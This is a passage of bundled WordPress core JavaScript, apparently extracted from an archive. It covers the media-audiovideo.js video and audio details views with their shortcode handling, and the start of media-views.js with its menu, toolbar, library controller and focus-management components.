this.renderAddSourceToolbar, this ); this.on( 'toolbar:render:select-poster-image', this.renderSelectPosterImageToolbar, this ); this.on( 'toolbar:render:add-track', this.renderAddTrackToolbar, this ); }, createStates: function() { this.states.add([ new wp.media.controller.VideoDetails({ media: this.media }), new MediaLibrary( { type: 'video', id: 'replace-video', title: l10n.videoReplaceTitle, toolbar: 'replace-video', media: this.media, menu: 'video-details' } ), new MediaLibrary( { type: 'video', id: 'add-video-source', title: l10n.videoAddSourceTitle, toolbar: 'add-video-source', media: this.media, menu: false } ), new MediaLibrary( { type: 'image', id: 'select-poster-image', title: l10n.videoSelectPosterImageTitle, toolbar: 'select-poster-image', media: this.media, menu: 'video-details' } ), new MediaLibrary( { type: 'text', id: 'add-track', title: l10n.videoAddTrackTitle, toolbar: 'add-track', media: this.media, menu: 'video-details' } ) ]); }, renderSelectPosterImageToolbar: function() { this.setPrimaryButton( l10n.videoSelectPosterImageTitle, function( controller, state ) { var urls = [], attachment = state.get( 'selection' ).single(); controller.media.set( 'poster', attachment.get( 'url' ) ); state.trigger( 'set-poster-image', controller.media.toJSON() ); _.each( wp.media.view.settings.embedExts, function (ext) { if ( controller.media.get( ext ) ) { urls.push( controller.media.get( ext ) ); } } ); wp.ajax.send( 'set-attachment-thumbnail', { data : { _ajax_nonce: wp.media.view.settings.nonce.setAttachmentThumbnail, urls: urls, thumbnail_id: attachment.get( 'id' ) } } ); } ); }, renderAddTrackToolbar: function() { this.setPrimaryButton( l10n.videoAddTrackTitle, function( controller, state ) { var attachment = state.get( 'selection' ).single(), content = controller.media.get( 'content' ); if ( -1 === content.indexOf( attachment.get( 'url' ) ) ) { content += [ '<track srclang="en" label="English" kind="subtitles" src="', attachment.get( 'url' ), '" />' ].join(''); controller.media.set( 'content', content ); } state.trigger( 'add-track', controller.media.toJSON() ); } ); } }); module.exports = VideoDetails; /***/ }), /***/ 9467: /***/ ((module) => { /* global MediaElementPlayer */ var AttachmentDisplay = wp.media.view.Settings.AttachmentDisplay, $ = jQuery, MediaDetails; /** * wp.media.view.MediaDetails * * @memberOf wp.media.view * * @class * @augments wp.media.view.Settings.AttachmentDisplay * @augments wp.media.view.Settings * @augments wp.media.View * @augments wp.Backbone.View * @augments Backbone.View */ MediaDetails = AttachmentDisplay.extend(/** @lends wp.media.view.MediaDetails.prototype */{ initialize: function() { _.bindAll(this, 'success'); this.players = []; this.listenTo( this.controller.states, 'close', wp.media.mixin.unsetPlayers ); this.on( 'ready', this.setPlayer ); this.on( 'media:setting:remove', wp.media.mixin.unsetPlayers, this ); this.on( 'media:setting:remove', this.render ); this.on( 'media:setting:remove', this.setPlayer ); AttachmentDisplay.prototype.initialize.apply( this, arguments ); }, events: function(){ return _.extend( { 'click .remove-setting' : 'removeSetting', 'change .content-track' : 'setTracks', 'click .remove-track' : 'setTracks', 'click .add-media-source' : 'addSource' }, AttachmentDisplay.prototype.events ); }, prepare: function() { return _.defaults({ model: this.model.toJSON() }, this.options ); }, /** * Remove a setting's UI when the model unsets it * * @fires wp.media.view.MediaDetails#media:setting:remove * * @param {Event} e */ removeSetting : function(e) { var wrap = $( e.currentTarget ).parent(), setting; setting = wrap.find( 'input' ).data( 'setting' ); if ( setting ) { this.model.unset( setting ); this.trigger( 'media:setting:remove', this ); } wrap.remove(); }, /** * * @fires wp.media.view.MediaDetails#media:setting:remove */ setTracks : function() { var tracks = ''; _.each( this.$('.content-track'), function(track) { tracks += $( track ).val(); } ); this.model.set( 'content', tracks ); this.trigger( 'media:setting:remove', this ); }, addSource : function( e ) { this.controller.lastMime = $( e.currentTarget ).data( 'mime' ); this.controller.setState( 'add-' + this.controller.defaults.id + '-source' ); }, loadPlayer: function () { this.players.push( new MediaElementPlayer( this.media, this.settings ) ); this.scriptXhr = false; }, setPlayer : function() { var src; if ( this.players.length || ! this.media || this.scriptXhr ) { return; } src = this.model.get( 'src' ); if ( src && src.indexOf( 'vimeo' ) > -1 && ! ( 'Vimeo' in window ) ) { this.scriptXhr = $.getScript( 'https://player.vimeo.com/api/player.js', _.bind( this.loadPlayer, this ) ); } else { this.loadPlayer(); } }, /** * @abstract */ setMedia : function() { return this; }, success : function(mejs) { var autoplay = mejs.attributes.autoplay && 'false' !== mejs.attributes.autoplay; if ( 'flash' === mejs.pluginType && autoplay ) { mejs.addEventListener( 'canplay', function() { mejs.play(); }, false ); } this.mejs = mejs; }, /** * @return {media.view.MediaDetails} Returns itself to allow chaining. */ render: function() { AttachmentDisplay.prototype.render.apply( this, arguments ); setTimeout( _.bind( function() { this.scrollToTop(); }, this ), 10 ); this.settings = _.defaults( { success : this.success }, wp.media.mixin.mejsSettings ); return this.setMedia(); }, scrollToTop: function() { this.$( '.embed-media-settings' ).scrollTop( 0 ); } },/** @lends wp.media.view.MediaDetails */{ instances : 0, /** * When multiple players in the DOM contain the same src, things get weird. * * @param {HTMLElement} elem * @return {HTMLElement} */ prepareSrc : function( elem ) { var i = MediaDetails.instances++; _.each( $( elem ).find( 'source' ), function( source ) { source.src = [ source.src, source.src.indexOf('?') > -1 ? '&' : '?', '_=', i ].join(''); } ); return elem; } }); module.exports = MediaDetails; /***/ }) /******/ }); /************************************************************************/ /******/ // The module cache /******/ var __webpack_module_cache__ = {}; /******/ /******/ // The require function /******/ function __webpack_require__(moduleId) { /******/ // Check if module is in cache /******/ var cachedModule = __webpack_module_cache__[moduleId]; /******/ if (cachedModule !== undefined) { /******/ return cachedModule.exports; /******/ } /******/ // Create a new module (and put it into the cache) /******/ var module = __webpack_module_cache__[moduleId] = { /******/ // no module.id needed /******/ // no module.loaded needed /******/ exports: {} /******/ }; /******/ /******/ // Execute the module function /******/ __webpack_modules__[moduleId](module, module.exports, __webpack_require__); /******/ /******/ // Return the exports of the module /******/ return module.exports; /******/ } /******/ /************************************************************************/ /** * @output wp-includes/js/media-audiovideo.js */ var media = wp.media, baseSettings = window._wpmejsSettings || {}, l10n = window._wpMediaViewsL10n || {}; /** * * Defines the wp.media.mixin object. * * @mixin * * @since 4.2.0 */ wp.media.mixin = { mejsSettings: baseSettings, /** * Pauses and removes all players. * * @since 4.2.0 * * @return {void} */ removeAllPlayers: function() { var p; if ( window.mejs && window.mejs.players ) { for ( p in window.mejs.players ) { window.mejs.players[p].pause(); this.removePlayer( window.mejs.players[p] ); } } }, /** * Removes the player. * * Override the MediaElement method for removing a player. * MediaElement tries to pull the audio/video tag out of * its container and re-add it to the DOM. * * @since 4.2.0 * * @return {void} */ removePlayer: function(t) { var featureIndex, feature; if ( ! t.options ) { return; } // Invoke features cleanup. for ( featureIndex in t.options.features ) { feature = t.options.features[featureIndex]; if ( t['clean' + feature] ) { try { t['clean' + feature](t); } catch (e) {} } } if ( ! t.isDynamic ) { t.node.remove(); } if ( 'html5' !== t.media.rendererName ) { t.media.remove(); } delete window.mejs.players[t.id]; t.container.remove(); t.globalUnbind('resize', t.globalResizeCallback); t.globalUnbind('keydown', t.globalKeydownCallback); t.globalUnbind('click', t.globalClickCallback); delete t.media.player; }, /** * * Removes and resets all players. * * Allows any class that has set 'player' to a MediaElementPlayer * instance to remove the player when listening to events. * * Examples: modal closes, shortcode properties are removed, etc. * * @since 4.2.0 */ unsetPlayers : function() { if ( this.players && this.players.length ) { _.each( this.players, function (player) { player.pause(); wp.media.mixin.removePlayer( player ); } ); this.players = []; } } }; /** * Shortcode modeling for playlists. * * @since 4.2.0 */ wp.media.playlist = new wp.media.collection({ tag: 'playlist', editTitle : l10n.editPlaylistTitle, defaults : { id: wp.media.view.settings.post.id, style: 'light', tracklist: true, tracknumbers: true, images: true, artists: true, type: 'audio' } }); /** * Shortcode modeling for audio. * * `edit()` prepares the shortcode for the media modal. * `shortcode()` builds the new shortcode after an update. * * @namespace * * @since 4.2.0 */ wp.media.audio = { coerce : wp.media.coerce, defaults : { id : wp.media.view.settings.post.id, src : '', loop : false, autoplay : false, preload : 'none', width : 400 }, /** * Instantiates a new media object with the next matching shortcode. * * @since 4.2.0 * * @param {string} data The text to apply the shortcode on. * @return {wp.media} The media object. */ edit : function( data ) { var frame, shortcode = wp.shortcode.next( 'audio', data ).shortcode; frame = wp.media({ frame: 'audio', state: 'audio-details', metadata: _.defaults( shortcode.attrs.named, this.defaults ) }); return frame; }, /** * Generates an audio shortcode. * * @since 4.2.0 * * @param {Array} model Array with attributes for the shortcode. * @return {wp.shortcode} The audio shortcode object. */ shortcode : function( model ) { var content; _.each( this.defaults, function( value, key ) { model[ key ] = this.coerce( model, key ); if ( value === model[ key ] ) { delete model[ key ]; } }, this ); content = model.content; delete model.content; return new wp.shortcode({ tag: 'audio', attrs: model, content: content }); } }; /** * Shortcode modeling for video. * * `edit()` prepares the shortcode for the media modal. * `shortcode()` builds the new shortcode after update. * * @since 4.2.0 * * @namespace */ wp.media.video = { coerce : wp.media.coerce, defaults : { id : wp.media.view.settings.post.id, src : '', poster : '', loop : false, autoplay : false, preload : 'metadata', content : '', width : 640, height : 360 }, /** * Instantiates a new media object with the next matching shortcode. * * @since 4.2.0 * * @param {string} data The text to apply the shortcode on. * @return {wp.media} The media object. */ edit : function( data ) { var frame, shortcode = wp.shortcode.next( 'video', data ).shortcode, attrs; attrs = shortcode.attrs.named; attrs.content = shortcode.content; frame = wp.media({ frame: 'video', state: 'video-details', metadata: _.defaults( attrs, this.defaults ) }); return frame; }, /** * Generates an video shortcode. * * @since 4.2.0 * * @param {Array} model Array with attributes for the shortcode. * @return {wp.shortcode} The video shortcode object. */ shortcode : function( model ) { var content; _.each( this.defaults, function( value, key ) { model[ key ] = this.coerce( model, key ); if ( value === model[ key ] ) { delete model[ key ]; } }, this ); content = model.content; delete model.content; return new wp.shortcode({ tag: 'video', attrs: model, content: content }); } }; media.model.PostMedia = __webpack_require__( 241 ); media.controller.AudioDetails = __webpack_require__( 1206 ); media.controller.VideoDetails = __webpack_require__( 5039 ); media.view.MediaFrame.MediaDetails = __webpack_require__( 741 ); media.view.MediaFrame.AudioDetails = __webpack_require__( 175 ); media.view.MediaFrame.VideoDetails = __webpack_require__( 8646 ); media.view.MediaDetails = __webpack_require__( 9467 ); media.view.AudioDetails = __webpack_require__( 3713 ); media.view.VideoDetails = __webpack_require__( 5836 ); /******/ })() ; media-views.js 0000644 00001025651 15111757752 0007341 0 ustar 00 /******/ (() => { // webpackBootstrap /******/ var __webpack_modules__ = ({ /***/ 1: /***/ ((module) => { var MenuItem = wp.media.view.MenuItem, PriorityList = wp.media.view.PriorityList, Menu; /** * wp.media.view.Menu * * @memberOf wp.media.view * * @class * @augments wp.media.view.PriorityList * @augments wp.media.View * @augments wp.Backbone.View * @augments Backbone.View */ Menu = PriorityList.extend(/** @lends wp.media.view.Menu.prototype */{ tagName: 'div', className: 'media-menu', property: 'state', ItemView: MenuItem, region: 'menu', attributes: { role: 'tablist', 'aria-orientation': 'horizontal' }, initialize: function() { this._views = {}; this.set( _.extend( {}, this._views, this.options.views ), { silent: true }); delete this.options.views; if ( ! this.options.silent ) { this.render(); } // Initialize the Focus Manager. this.focusManager = new wp.media.view.FocusManager( { el: this.el, mode: 'tabsNavigation' } ); // The menu is always rendered and can be visible or hidden on some frames. this.isVisible = true; }, /** * @param {Object} options * @param {string} id * @return {wp.media.View} */ toView: function( options, id ) { options = options || {}; options[ this.property ] = options[ this.property ] || id; return new this.ItemView( options ).render(); }, ready: function() { /** * call 'ready' directly on the parent class */ PriorityList.prototype.ready.apply( this, arguments ); this.visibility(); // Set up aria tabs initial attributes. this.focusManager.setupAriaTabs(); }, set: function() { /** * call 'set' directly on the parent class */ PriorityList.prototype.set.apply( this, arguments ); this.visibility(); }, unset: function() { /** * call 'unset' directly on the parent class */ PriorityList.prototype.unset.apply( this, arguments ); this.visibility(); }, visibility: function() { var region = this.region, view = this.controller[ region ].get(), views = this.views.get(), hide = ! views || views.length < 2; if ( this === view ) { // Flag this menu as hidden or visible. this.isVisible = ! hide; // Set or remove a CSS class to hide the menu. this.controller.$el.toggleClass( 'hide-' + region, hide ); } }, /** * @param {string} id */ select: function( id ) { var view = this.get( id ); if ( ! view ) { return; } this.deselect(); view.$el.addClass('active'); // Set up again the aria tabs initial attributes after the menu updates. this.focusManager.setupAriaTabs(); }, deselect: function() { this.$el.children().removeClass('active'); }, hide: function( id ) { var view = this.get( id ); if ( ! view ) { return; } view.$el.addClass('hidden'); }, show: function( id ) { var view = this.get( id ); if ( ! view ) { return; } view.$el.removeClass('hidden'); } }); module.exports = Menu; /***/ }), /***/ 168: /***/ ((module) => { var $ = Backbone.$, ButtonGroup; /** * wp.media.view.ButtonGroup * * @memberOf wp.media.view * * @class * @augments wp.media.View * @augments wp.Backbone.View * @augments Backbone.View */ ButtonGroup = wp.media.View.extend(/** @lends wp.media.view.ButtonGroup.prototype */{ tagName: 'div', className: 'button-group button-large media-button-group', initialize: function() { /** * @member {wp.media.view.Button[]} */ this.buttons = _.map( this.options.buttons || [], function( button ) { if ( button instanceof Backbone.View ) { return button; } else { return new wp.media.view.Button( button ).render(); } }); delete this.options.buttons; if ( this.options.classes ) { this.$el.addClass( this.options.classes ); } }, /** * @return {wp.media.view.ButtonGroup} */ render: function() { this.$el.html( $( _.pluck( this.buttons, 'el' ) ).detach() ); return this; } }); module.exports = ButtonGroup; /***/ }), /***/ 170: /***/ ((module) => { /** * wp.media.view.Heading * * A reusable heading component for the media library * * Used to add accessibility friendly headers in the media library/modal. * * @class * @augments wp.media.View * @augments wp.Backbone.View * @augments Backbone.View */ var Heading = wp.media.View.extend( { tagName: function() { return this.options.level || 'h1'; }, className: 'media-views-heading', initialize: function() { if ( this.options.className ) { this.$el.addClass( this.options.className ); } this.text = this.options.text; }, render: function() { this.$el.html( this.text ); return this; } } ); module.exports = Heading; /***/ }), /***/ 397: /***/ ((module) => { var Select = wp.media.view.Toolbar.Select, l10n = wp.media.view.l10n, Embed; /** * wp.media.view.Toolbar.Embed * * @memberOf wp.media.view.Toolbar * * @class * @augments wp.media.view.Toolbar.Select * @augments wp.media.view.Toolbar * @augments wp.media.View * @augments wp.Backbone.View * @augments Backbone.View */ Embed = Select.extend(/** @lends wp.media.view.Toolbar.Embed.prototype */{ initialize: function() { _.defaults( this.options, { text: l10n.insertIntoPost, requires: false }); // Call 'initialize' directly on the parent class. Select.prototype.initialize.apply( this, arguments ); }, refresh: function() { var url = this.controller.state().props.get('url'); this.get('select').model.set( 'disabled', ! url || url === 'http://' ); /** * call 'refresh' directly on the parent class */ Select.prototype.refresh.apply( this, arguments ); } }); module.exports = Embed; /***/ }), /***/ 443: /***/ ((module) => { var View = wp.media.view, SiteIconCropper; /** * wp.media.view.SiteIconCropper * * Uses the imgAreaSelect plugin to allow a user to crop a Site Icon. * * Takes imgAreaSelect options from * wp.customize.SiteIconControl.calculateImageSelectOptions. * * @memberOf wp.media.view * * @class * @augments wp.media.view.Cropper * @augments wp.media.View * @augments wp.Backbone.View * @augments Backbone.View */ SiteIconCropper = View.Cropper.extend(/** @lends wp.media.view.SiteIconCropper.prototype */{ className: 'crop-content site-icon', ready: function () { View.Cropper.prototype.ready.apply( this, arguments ); this.$( '.crop-image' ).on( 'load', _.bind( this.addSidebar, this ) ); }, addSidebar: function() { this.sidebar = new wp.media.view.Sidebar({ controller: this.controller }); this.sidebar.set( 'preview', new wp.media.view.SiteIconPreview({ controller: this.controller, attachment: this.options.attachment }) ); this.controller.cropperView.views.add( this.sidebar ); } }); module.exports = SiteIconCropper; /***/ }), /***/ 455: /***/ ((module) => { var MediaFrame = wp.media.view.MediaFrame, l10n = wp.media.view.l10n, Select; /** * wp.media.view.MediaFrame.Select * * A frame for selecting an item or items from the media library. * * @memberOf wp.media.view.MediaFrame * * @class * @augments wp.media.view.MediaFrame * @augments wp.media.view.Frame * @augments wp.media.View * @augments wp.Backbone.View * @augments Backbone.View * @mixes wp.media.controller.StateMachine */ Select = MediaFrame.extend(/** @lends wp.media.view.MediaFrame.Select.prototype */{ initialize: function() { // Call 'initialize' directly on the parent class. MediaFrame.prototype.initialize.apply( this, arguments ); _.defaults( this.options, { selection: [], library: {}, multiple: false, state: 'library' }); this.createSelection(); this.createStates(); this.bindHandlers(); }, /** * Attach a selection collection to the frame. * * A selection is a collection of attachments used for a specific purpose * by a media frame. e.g. Selecting an attachment (or many) to insert into * post content. * * @see media.model.Selection */ createSelection: function() { var selection = this.options.selection; if ( ! (selection instanceof wp.media.model.Selection) ) { this.options.selection = new wp.media.model.Selection( selection, { multiple: this.options.multiple }); } this._selection = { attachments: new wp.media.model.Attachments(), difference: [] }; }, editImageContent: function() { var image = this.state().get('image'), view = new wp.media.view.EditImage( { model: image, controller: this } ).render(); this.content.set( view ); // After creating the wrapper view, load the actual editor via an Ajax call. view.loadEditor(); }, /** * Create the default states on the frame. */ createStates: function() { var options = this.options; if ( this.options.states ) { return; } // Add the default states. this.states.add([ // Main states. new wp.media.controller.Library({ library: wp.media.query( options.library ), multiple: options.multiple, title: options.title, priority: 20 }), new wp.media.controller.EditImage( { model: options.editImage } ) ]); }, /** * Bind region mode event callbacks. * * @see media.controller.Region.render */ bindHandlers: function() { this.on( 'router:create:browse', this.createRouter, this ); this.on( 'router:render:browse', this.browseRouter, this ); this.on( 'content:create:browse', this.browseContent, this ); this.on( 'content:render:upload', this.uploadContent, this ); this.on( 'toolbar:create:select', this.createSelectToolbar, this ); this.on( 'content:render:edit-image', this.editImageContent, this ); }, /** * Render callback for the router region in the `browse` mode. * * @param {wp.media.view.Router} routerView */ browseRouter: function( routerView ) { routerView.set({ upload: { text: l10n.uploadFilesTitle, priority: 20 }, browse: { text: l10n.mediaLibraryTitle, priority: 40 } }); }, /** * Render callback for the content region in the `browse` mode. * * @param {wp.media.controller.Region} contentRegion */ browseContent: function( contentRegion ) { var state = this.state(); this.$el.removeClass('hide-toolbar'); // Browse our library of attachments. contentRegion.view = new wp.media.view.AttachmentsBrowser({ controller: this, collection: state.get('library'), selection: state.get('selection'), model: state, sortable: state.get('sortable'), search: state.get('searchable'), filters: state.get('filterable'), date: state.get('date'), display: state.has('display') ? state.get('display') : state.get('displaySettings'), dragInfo: state.get('dragInfo'), idealColumnWidth: state.get('idealColumnWidth'), suggestedWidth: state.get('suggestedWidth'), suggestedHeight: state.get('suggestedHeight'), AttachmentView: state.get('AttachmentView') }); }, /** * Render callback for the content region in the `upload` mode. */ uploadContent: function() { this.$el.removeClass( 'hide-toolbar' ); this.content.set( new wp.media.view.UploaderInline({ controller: this }) ); }, /** * Toolbars * * @param {Object} toolbar * @param {Object} [options={}] * @this wp.media.controller.Region */ createSelectToolbar: function( toolbar, options ) { options = options || this.options.button || {}; options.controller = this; toolbar.view = new wp.media.view.Toolbar.Select( options ); } }); module.exports = Select; /***/ }), /***/ 472: /***/ ((module) => { var l10n = wp.media.view.l10n, getUserSetting = window.getUserSetting, setUserSetting = window.setUserSetting, Library; /** * wp.media.controller.Library * * A state for choosing an attachment or group of attachments from the media library. * * @memberOf wp.media.controller * * @class * @augments wp.media.controller.State * @augments Backbone.Model * @mixes media.selectionSync * * @param {object} [attributes] The attributes hash passed to the state. * @param {string} [attributes.id=library] Unique identifier. * @param {string} [attributes.title=Media library] Title for the state. Displays in the media menu and the frame's title region. * @param {wp.media.model.Attachments} [attributes.library] The attachments collection to browse. * If one is not supplied, a collection of all attachments will be created. * @param {wp.media.model.Selection|object} [attributes.selection] A collection to contain attachment selections within the state. * If the 'selection' attribute is a plain JS object, * a Selection will be created using its values as the selection instance's `props` model. * Otherwise, it will copy the library's `props` model. * @param {boolean} [attributes.multiple=false] Whether multi-select is enabled. * @param {string} [attributes.content=upload] Initial mode for the content region. * Overridden by persistent user setting if 'contentUserSetting' is true. * @param {string} [attributes.menu=default] Initial mode for the menu region. * @param {string} [attributes.router=browse] Initial mode for the router region. * @param {string} [attributes.toolbar=select] Initial mode for the toolbar region. * @param {boolean} [attributes.searchable=true] Whether the library is searchable. * @param {boolean|string} [attributes.filterable=false] Whether the library is filterable, and if so what filters should be shown. * Accepts 'all', 'uploaded', or 'unattached'. * @param {boolean} [attributes.sortable=true] Whether the Attachments should be sortable. Depends on the orderby property being set to menuOrder on the attachments collection. * @param {boolean} [attributes.autoSelect=true] Whether an uploaded attachment should be automatically added to the selection. * @param {boolean} [attributes.describe=false] Whether to offer UI to describe attachments - e.g. captioning images in a gallery. * @param {boolean} [attributes.contentUserSetting=true] Whether the content region's mode should be set and persisted per user. * @param {boolean} [attributes.syncSelection=true] Whether the Attachments selection should be persisted from the last state. */ Library = wp.media.controller.State.extend(/** @lends wp.media.controller.Library.prototype */{ defaults: { id: 'library', title: l10n.mediaLibraryTitle, multiple: false, content: 'upload', menu: 'default', router: 'browse', toolbar: 'select', searchable: true, filterable: false, sortable: true, autoSelect: true, describe: false, contentUserSetting: true, syncSelection: true }, /** * If a library isn't provided, query all media items. * If a selection instance isn't provided, create one. * * @since 3.5.0 */ initialize: function() { var selection = this.get('selection'), props; if ( ! this.get('library') ) { this.set( 'library', wp.media.query() ); } if ( ! ( selection instanceof wp.media.model.Selection ) ) { props = selection; if ( ! props ) { props = this.get('library').props.toJSON(); props = _.omit( props, 'orderby', 'query' ); } this.set( 'selection', new wp.media.model.Selection( null, { multiple: this.get('multiple'), props: props }) ); } this.resetDisplays(); }, /** * @since 3.5.0 */ activate: function() { this.syncSelection(); wp.Uploader.queue.on( 'add', this.uploading, this ); this.get('selection').on( 'add remove reset', this.refreshContent, this ); if ( this.get( 'router' ) && this.get('contentUserSetting') ) { this.frame.on( 'content:activate', this.saveContentMode, this ); this.set( 'content', getUserSetting( 'libraryContent', this.get('content') ) ); } }, /** * @since 3.5.0 */ deactivate: function() { this.recordSelection(); this.frame.off( 'content:activate', this.saveContentMode, this ); // Unbind all event handlers that use this state as the context // from the selection. this.get('selection').off( null, null, this ); wp.Uploader.queue.off( null, null, this ); }, /** * Reset the library to its initial state. * * @since 3.5.0 */ reset: function() { this.get('selection').reset(); this.resetDisplays(); this.refreshContent(); }, /** * Reset the attachment display settings defaults to the site options. * * If site options don't define them, fall back to a persistent user setting. * * @since 3.5.0 */ resetDisplays: function() { var defaultProps = wp.media.view.settings.defaultProps; this._displays = []; this._defaultDisplaySettings = { align: getUserSetting( 'align', defaultProps.align ) || 'none', size: getUserSetting( 'imgsize', defaultProps.size ) || 'medium', link: getUserSetting( 'urlbutton', defaultProps.link ) || 'none' }; }, /** * Create a model to represent display settings (alignment, etc.) for an attachment. * * @since 3.5.0 * * @param {wp.media.model.Attachment} attachment * @return {Backbone.Model} */ display: function( attachment ) { var displays = this._displays; if ( ! displays[ attachment.cid ] ) { displays[ attachment.cid ] = new Backbone.Model( this.defaultDisplaySettings( attachment ) ); } return displays[ attachment.cid ]; }, /** * Given an attachment, create attachment display settings properties. * * @since 3.6.0 * * @param {wp.media.model.Attachment} attachment * @return {Object} */ defaultDisplaySettings: function( attachment ) { var settings = _.clone( this._defaultDisplaySettings ); settings.canEmbed = this.canEmbed( attachment ); if ( settings.canEmbed ) { settings.link = 'embed'; } else if ( ! this.isImageAttachment( attachment ) && settings.link === 'none' ) { settings.link = 'file'; } return settings; }, /** * Whether an attachment is image. * * @since 4.4.1 * * @param {wp.media.model.Attachment} attachment * @return {boolean} */ isImageAttachment: function( attachment ) { // If uploading, we know the filename but not the mime type. if ( attachment.get('uploading') ) { return /\.(jpe?g|png|gif|webp|avif|heic|heif)$/i.test( attachment.get('filename') ); } return attachment.get('type') === 'image'; }, /** * Whether an attachment can be embedded (audio or video). * * @since 3.6.0 * * @param {wp.media.model.Attachment} attachment * @return {boolean} */ canEmbed: function( attachment ) { // If uploading, we know the filename but not the mime type. if ( ! attachment.get('uploading') ) { var type = attachment.get('type'); if ( type !== 'audio' && type !== 'video' ) { return false; } } return _.contains( wp.media.view.settings.embedExts, attachment.get('filename').split('.').pop() ); }, /** * If the state is active, no items are selected, and the current * content mode is not an option in the state's router (provided * the state has a router), reset the content mode to the default. * * @since 3.5.0 */ refreshContent: function() { var selection = this.get('selection'), frame = this.frame, router = frame.router.get(), mode = frame.content.mode(); if ( this.active && ! selection.length && router && ! router.get( mode ) ) { this.frame.content.render( this.get('content') ); } }, /** * Callback handler when an attachment is uploaded. * * Switch to the Media Library if uploaded from the 'Upload Files' tab. * * Adds any uploading attachments to the selection. * * If the state only supports one attachment to be selected and multiple * attachments are uploaded, the last attachment in the upload queue will * be selected. * * @since 3.5.0 * * @param {wp.media.model.Attachment} attachment */ uploading: function( attachment ) { var content = this.frame.content; if ( 'upload' === content.mode() ) { this.frame.content.mode('browse'); } if ( this.get( 'autoSelect' ) ) { this.get('selection').add( attachment ); this.frame.trigger( 'library:selection:add' ); } }, /** * Persist the mode of the content region as a user setting. * * @since 3.5.0 */ saveContentMode: function() { if ( 'browse' !== this.get('router') ) { return; } var mode = this.frame.content.mode(), view = this.frame.router.get(); if ( view && view.get( mode ) ) { setUserSetting( 'libraryContent', mode ); } } }); // Make selectionSync available on any Media Library state. _.extend( Library.prototype, wp.media.selectionSync ); module.exports = Library; /***/ }), /***/ 705: /***/ ((module) => { var State = wp.media.controller.State, Library = wp.media.controller.Library, l10n = wp.media.view.l10n, ImageDetails; /** * wp.media.controller.ImageDetails * * A state for editing the attachment display settings of an image that's been * inserted into the editor. * * @memberOf wp.media.controller * * @class * @augments wp.media.controller.State * @augments Backbone.Model * * @param {object} [attributes] The attributes hash passed to the state. * @param {string} [attributes.id=image-details] Unique identifier. * @param {string} [attributes.title=Image Details] Title for the state. Displays in the frame's title region. * @param {wp.media.model.Attachment} attributes.image The image's model. * @param {string|false} [attributes.content=image-details] Initial mode for the content region. * @param {string|false} [attributes.menu=false] Initial mode for the menu region. * @param {string|false} [attributes.router=false] Initial mode for the router region. * @param {string|false} [attributes.toolbar=image-details] Initial mode for the toolbar region. * @param {boolean} [attributes.editing=false] Unused. * @param {int} [attributes.priority=60] Unused. * * @todo This state inherits some defaults from media.controller.Library.prototype.defaults, * however this may not do anything. */ ImageDetails = State.extend(/** @lends wp.media.controller.ImageDetails.prototype */{ defaults: _.defaults({ id: 'image-details', title: l10n.imageDetailsTitle, content: 'image-details', menu: false, router: false, toolbar: 'image-details', editing: false, priority: 60 }, Library.prototype.defaults ), /** * @since 3.9.0 * * @param options Attributes */ initialize: function( options ) { this.image = options.image; State.prototype.initialize.apply( this, arguments ); }, /** * @since 3.9.0 */ activate: function() { this.frame.modal.$el.addClass('image-details'); } }); module.exports = ImageDetails; /***/ }), /***/ 718: /***/ ((module) => { var $ = jQuery; /** * wp.media.view.FocusManager * * @memberOf wp.media.view * * @class * @augments wp.media.View * @augments wp.Backbone.View * @augments Backbone.View */ var FocusManager = wp.media.View.extend(/** @lends wp.media.view.FocusManager.prototype */{ events: { 'keydown': 'focusManagementMode' }, /** * Initializes the Focus Manager. * * @param {Object} options The Focus Manager options. * * @since 5.3.0 * * @return {void} */ initialize: function( options ) { this.mode = options.mode || 'constrainTabbing'; this.tabsAutomaticActivation = options.tabsAutomaticActivation || false; }, /** * Determines which focus management mode to use. * * @since 5.3.0 * * @param {Object} event jQuery event object. * * @return {void} */ focusManagementMode: function( event ) { if ( this.mode === 'constrainTabbing' ) { this.constrainTabbing( event ); } if ( this.mode === 'tabsNavigation' ) { this.tabsNavigation( event ); } }, /** * Gets all the tabbable elements. * * @since 5.3.0 * * @return {Object} A jQuery collection of tabbable elements. */ getTabbables: function() { // Skip the file input added by Plupload. return this.$( ':tabbable' ).not( '.moxie-shim input[type="file"]' ); }, /** * Moves focus to the modal dialog. * * @since 3.5.0 * * @return {void} */ focus: function() { this.$( '.media-modal' ).trigger( 'focus' ); }, /** * Constrains navigation with the Tab key within the media view element. * * @since 4.0.0 * * @param {Object} event A keydown jQuery event. * * @return {void} */ constrainTabbing: function( event ) { var tabbables; // Look for the tab key. if ( 9 !== event.keyCode ) { return; } tabbables = this.getTabbables(); // Keep tab focus within media modal while it's open. if ( tabbables.last()[0] === event.target && ! event.shiftKey ) { tabbables.first().focus(); return false; } else if ( tabbables.first()[0] === event.target && event.shiftKey ) { tabbables.last().focus(); return false; } }, /** * Hides from assistive technologies all the body children. * * Sets an `aria-hidden="true"` attribute on all the body children except * the provided element and other elements that should not be hidden. * * The reason why we use `aria-hidden` is that `aria-modal="true"` is buggy * in Safari 11.1 and support is spotty in other browsers. Also, `aria-modal="true"` * prevents the `wp.a11y.speak()` ARIA live regions to work as they're outside * of the modal dialog and get hidden from assistive technologies. * * @since 5.2.3 * * @param {Object} visibleElement The jQuery object representing the element that should not be hidden. * * @return {void} */ setAriaHiddenOnBodyChildren: function( visibleElement ) { var bodyChildren, self = this; if ( this.isBodyAriaHidden ) { return; } // Get all the body children. bodyChildren = document.body.children; // Loop through the body children and hide the ones that should be hidden. _.each( bodyChildren, function( element ) { // Don't hide the modal element. if ( element === visibleElement[0] ) { return; } // Determine the body children to hide. if ( self.elementShouldBeHidden( element ) ) { element.setAttribute( 'aria-hidden', 'true' ); // Store the hidden elements. self.ariaHiddenElements.push( element ); } } ); this.isBodyAriaHidden = true; }, /** * Unhides from assistive technologies all the body children. * * Makes visible again to assistive technologies all the body children * previously hidden and stored in this.ariaHiddenElements. * * @since 5.2.3 * * @return {void} */ removeAriaHiddenFromBodyChildren: function() { _.each( this.ariaHiddenElements, function( element ) { element.removeAttribute( 'aria-hidden' ); } ); this.ariaHiddenElements = []; this.isBodyAriaHidden = false; }, /** * Determines if the passed element should not be hidden from assistive technologies. * * @since 5.2.3 * * @param {Object} element The DOM element that should be checked. * * @return {boolean} Whether the element should not be hidden from assistive technologies. */ elementShouldBeHidden: function( element ) { var role = element.getAttribute( 'role' ), liveRegionsRoles = [ 'alert', 'status', 'log', 'marquee', 'timer' ]; /* * Don't hide scripts, elements that already have `aria-hidden`, and * ARIA live regions. */ return ! ( 